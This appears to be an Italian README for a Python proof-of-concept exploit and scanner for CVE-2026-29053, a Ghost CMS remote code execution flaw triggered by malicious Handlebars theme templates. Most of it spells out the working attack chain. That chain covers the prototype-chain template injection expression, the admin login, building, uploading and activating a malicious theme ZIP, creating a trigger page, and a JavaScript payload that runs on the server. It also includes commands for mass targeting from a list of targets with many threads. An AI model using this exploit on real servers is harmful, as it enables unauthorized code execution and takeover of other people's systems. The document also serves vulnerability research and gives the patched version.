
PoC Python e scanner di versione per CVE-2026-29053, un RCE autenticato in Ghost CMS precedente alla 6.19.1 tramite template di tema Handlebars malevoli.
CVE-2026-29053, riguarda il sistema di gestione dei contenuti Ghost basato su Node.js. Le versioni dalla 0.7.2 alla 6.19.0 sono vulnerabili a questo problema. Un tema malevolo può sfruttare questa vulnerabilità ed eseguire codice arbitrario sul server che esegue Ghost. La gravità di questa vulnerabilità è alta, con un punteggio CVSS di 7.6. Questo problema è stato corretto nella versione 6.19.1. Un attaccante che sfrutta con successo questa vulnerabilità può ottenere accesso non autorizzato al server e potenzialmente prenderne il controllo. Potrebbe quindi utilizzare questo accesso per manipolare dati, rubare informazioni sensibili o svolgere altre attività malevole. I prodotti/servizi interessati sono tutte le versioni di Ghost dalla 0.7.2 alla 6.19.0. Per mitigare questo rischio, gli utenti dovrebbero aggiornare le loro installazioni di Ghost alla versione 6.19.1 o successiva il prima possibile. Questo garantirà che la vulnerabilità sia corretta e non rappresenti più una minaccia. Se l'aggiornamento non è fattibile al momento, si raccomanda di monitorare attentamente eventuali nuovi sviluppi di questa vulnerabilità e applicare le necessarie misure di sicurezza per proteggersi da potenziali attacchi. Questa CVE non è attualmente elencata nel catalogo CISA Known Exploited Vulnerabilities (KEV), il che significa che non è stata attivamente sfruttata da attori malevoli. Tuttavia, gli utenti dovrebbero comunque dare priorità all'aggiornamento dei loro sistemi per prevenire qualsiasi potenziale rischio associato a questa vulnerabilità.
Un PoC in Python per CVE-2026-29053, una vulnerabilità di Esecuzione Remota di Codice in Ghost CMS causata da temi appositamente creati in grado di eseguire JavaScript arbitrario durante il rendering dei template.
Interessato: Ghost
0.7.2fino a6.19.0Ghost CWE-74 — Neutralizzazione Impropria di Elementi Speciali nell'Output Utilizzato da un Componente a Valle
6.19.1L'advisory di Ghost descrive il problema come esecuzione di codice arbitrario tramite temi malevoli.
I temi di Ghost utilizzano template Handlebars (.hbs).
Un template appositamente creato può abusare del modo in cui Ghost elabora le espressioni Handlebars e accedere a funzionalità JavaScript che non dovrebbero essere raggiungibili da un normale template di tema.
La parte importante dell'exploit è l'espressione del template:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
Il payload viene inserito nel template prima che il tema malevolo venga impacchettato.
Il template risultante viene quindi caricato e attivato tramite la Ghost Admin API.
Quando Ghost successivamente esegue il rendering del template interessato, l'espressione iniettata causa l'esecuzione del payload JavaScript all'interno del processo del server Ghost.
Il PoC stabilisce prima una sessione Ghost Admin autenticata.
L'endpoint rilevante è:
POST /ghost/api/admin/session/
La richiesta generata dal PoC è equivalente a:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghost restituisce il cookie di sessione autenticata.
Il PoC verifica la presenza di HTTP 201 e poi continua utilizzando lo stesso oggetto requests.Session().
L'exploit crea un archivio ZIP contenente un tema Ghost minimale.
I file importanti sono:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
Il template malevolo viene scritto in:
page-rce.hbs
Il PoC costruisce l'archivio interamente in memoria utilizzando il modulo zipfile di Python.
Il package.json generato identifica l'archivio come un tema Ghost:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
La porzione vulnerabile del tema è l'espressione Handlebars all'interno di page-rce.hbs.
Il PoC genera:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% prima che il tema venga compresso.Il PoC predefinito utilizza un payload di scrittura su file come prova non distruttiva dell'esecuzione del codice.
Genera JavaScript equivalente a:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
Questo dimostra che il payload viene eseguito all'interno del processo Ghost Node.js e può accedere alle funzionalità di Node.js.
Il PoC contiene anche una modalità callback opzionale per ambienti di laboratorio.
Una volta generato il tema malevolo, il PoC lo invia a:
POST /ghost/api/admin/themes/upload/
La richiesta è un caricamento multipart form.
Concettualmente:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
L'archivio contiene il template .hbs malevolo descritto sopra.
Il PoC si aspetta HTTP 200 ed estrae il nome del tema restituito dalla risposta JSON.
Dopo aver caricato il tema, il PoC lo attiva con:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
L'endpoint di attivazione viene costruito dinamicamente:
/ghost/api/admin/themes/{theme_name}/activate/
L'exploit si interrompe se Ghost non restituisce HTTP 200.
Il PoC crea quindi una pagina pubblicata:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
Il codice utilizza lo slug:
/rce/
Se la pagina esiste già, tenta invece di recuperare la pagina esistente.
Il trigger finale è semplicemente:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
Questo causa il rendering del tema attivo da parte di Ghost.
Il PoC verifica nell'HTML restituito la presenza di:
CVE-2026-29053 trigger
per confermare che page-rce.hbs sia stato renderizzato.
La distinzione importante è che l'attaccante non sta semplicemente iniettando HTML in una pagina.
L'input malevolo diventa parte di un template di tema Ghost Handlebars.
Il template viene successivamente interpretato dal sistema di rendering lato server di Ghost.
L'espressione creata raggiunge funzionalità JavaScript attraverso la catena prototype/construction:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
JavaScript controllato dall'attaccante
Il JavaScript risultante viene eseguito nel processo del server Ghost.
Il PoC lo dimostra accedendo al modulo fs integrato di Node e scrivendo un file sul server.
Mettendo insieme l'interazione HTTP:
1. POST /ghost/api/admin/session/
└── autenticazione
2. POST /ghost/api/admin/themes/upload/
└── caricamento malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── attivazione tema malevolo
4. POST /ghost/api/admin/pages/
└── creazione /rce/
5. GET /rce/
└── rendering pagina malevola page-rce.hbs
└── espressione Handlebars
└── esecuzione JavaScript
└── impatto a livello di sistema operativo
Il PoC contiene anche uno scanner.
Richiede:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
La risposta viene analizzata per:
{
"site": {
"version": "6.19.0"
}
}
Il PoC confronta quindi la versione con:
0.7.2 <= version <= 6.19.0
e segnala le versioni corrispondenti come vulnerabili.
L'advisory pubblicato specifica l'intervallo interessato come >= 0.7.2, < 6.19.1, con 6.19.1 come versione corretta.
python3 exploit.py --target http://TARGET
Il percorso di prova predefinito è:
/tmp/cve-2026-29053-rce.txt
Può essere modificato con:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
Se la configurazione di Ghost è già stata completata:
python3 exploit.py --target http://TARGET --skip-setup
Le credenziali possono essere fornite utilizzando:
--email
--password
I target possono essere forniti da un file:
python3 exploit.py --file targets.txt
Numero di thread:
python3 exploit.py --file targets.txt --threads 25
Lo scanner verifica l'endpoint del sito Ghost Admin e confronta la versione di Ghost riportata con l'intervallo vulnerabile.
Lo sfruttamento riuscito consente l'esecuzione arbitraria di JavaScript all'interno del processo del server Ghost.
A seconda dei privilegi del processo Ghost e del payload utilizzato, questo può influire su:
Il record CVE pubblicato classifica il problema come raggiungibile via rete ma richiedente privilegi elevati e interazione dell'utente, con scope cambiato.
Aggiornare Ghost a:
6.19.1+
L'advisory sulla vulnerabilità di Ghost identifica 6.19.1 come la versione corretta.
Non installare temi non attendibili.
Questo PoC è fornito per la ricerca sulle vulnerabilità, i test di penetrazione autorizzati e scopi educativi.